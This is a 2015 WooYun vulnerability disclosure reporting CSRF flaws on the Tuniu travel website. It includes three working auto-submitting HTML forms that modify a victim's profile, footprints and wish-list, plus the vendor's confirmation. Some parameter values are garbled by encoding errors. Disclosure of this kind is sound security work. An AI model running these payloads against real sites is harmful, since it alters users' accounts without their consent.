当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0122342

漏洞标题：途牛旅游网多处CSRF（修改资料、足迹、想去）

相关厂商：途牛旅游网

漏洞作者： jeary

提交时间：2015-06-24 09:35

修复时间：2015-08-08 09:50

公开时间：2015-08-08 09:50

漏洞类型：CSRF

危害等级：高

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-24： 细节已通知厂商并且等待厂商处理中
2015-06-24： 厂商已经确认，细节仅向厂商公开
2015-07-04： 细节向核心白帽子及相关领域专家公开
2015-07-14： 细节向普通白帽子公开
2015-07-24： 细节向实习白帽子公开
2015-08-08： 细节向公众公开

简要描述：

妹子说要去旅游，旅游计划是按照途牛的“想去”来的，一看，要是能来我的城市多好哇，接下来就是见证奇迹的时刻（附暴漫~）

详细说明：

第一次传这么长的图，不知道会不会不清楚

2015623204223.png

漏洞证明：

POC1（想去，执行后会在http://www.tuniu.com/person/ 显示，需要等一会，多刷新几次）：

<html>  
  <body>
    <form action="http://www.tuniu.com/yii.php?r=guide/travelnotes/travelUser" method="POST">
      <input type="hidden" name="poiId" value="3922" />
      <input type="hidden" name="type" value="wantUser" />     
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>


POC2(修改资料)：

<html>
   <body>
    <form action="http://www.tuniu.com/yii.php?r=person/personpage/ajaxSaveUserInfo" method="POST">
      <input type="hidden" name="nickname" value="justfun" />
      <input type="hidden" name="mood" value="justfun" />
      <input type="hidden" name="proCode" value="1200" />
      <input type="hidden" name="cityCode" value="1211" />
      </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>


POC3（增加足迹）：

<html>
  
  <body>
    <form action="http://www.tuniu.com/yii.php?r=person/personpage/ajaxAddFootprint" method="POST">
      <input type="hidden" name="obj&#91;id&#93;" value="4000" />
      <input type="hidden" name="obj&#91;name&#93;" value="иж&#157;&#158;?&#180;&#178;" />
      <input type="hidden" name="obj&#91;x&#93;" value="0" />
      <input type="hidden" name="obj&#91;y&#93;" value="0" />
      <input type="hidden" name="obj&#91;list&#93;&#91;0&#93;&#91;id&#93;" value="4051" />
      <input type="hidden" name="obj&#91;list&#93;&#91;0&#93;&#91;name&#93;" value="?&#180;&#165;?&#183;&#180;?&#184;&#131;иж&#159;&#166;" />
      <input type="hidden" name="obj&#91;list&#93;&#91;0&#93;&#91;x&#93;" value="&#45;17&#46;685900" />
      <input type="hidden" name="obj&#91;list&#93;&#91;0&#93;&#91;y&#93;" value="30&#46;300301" />
      <input type="hidden" name="obj&#91;type&#93;" value="foreign" />     
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>


修复方案：

完全不防御CSRF？

版权声明：转载请注明来源 jeary@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：7

确认时间：2015-06-24 09:48

厂商回复：

感谢白帽子关注途牛安全，我们正安排修复

最新状态：

暂无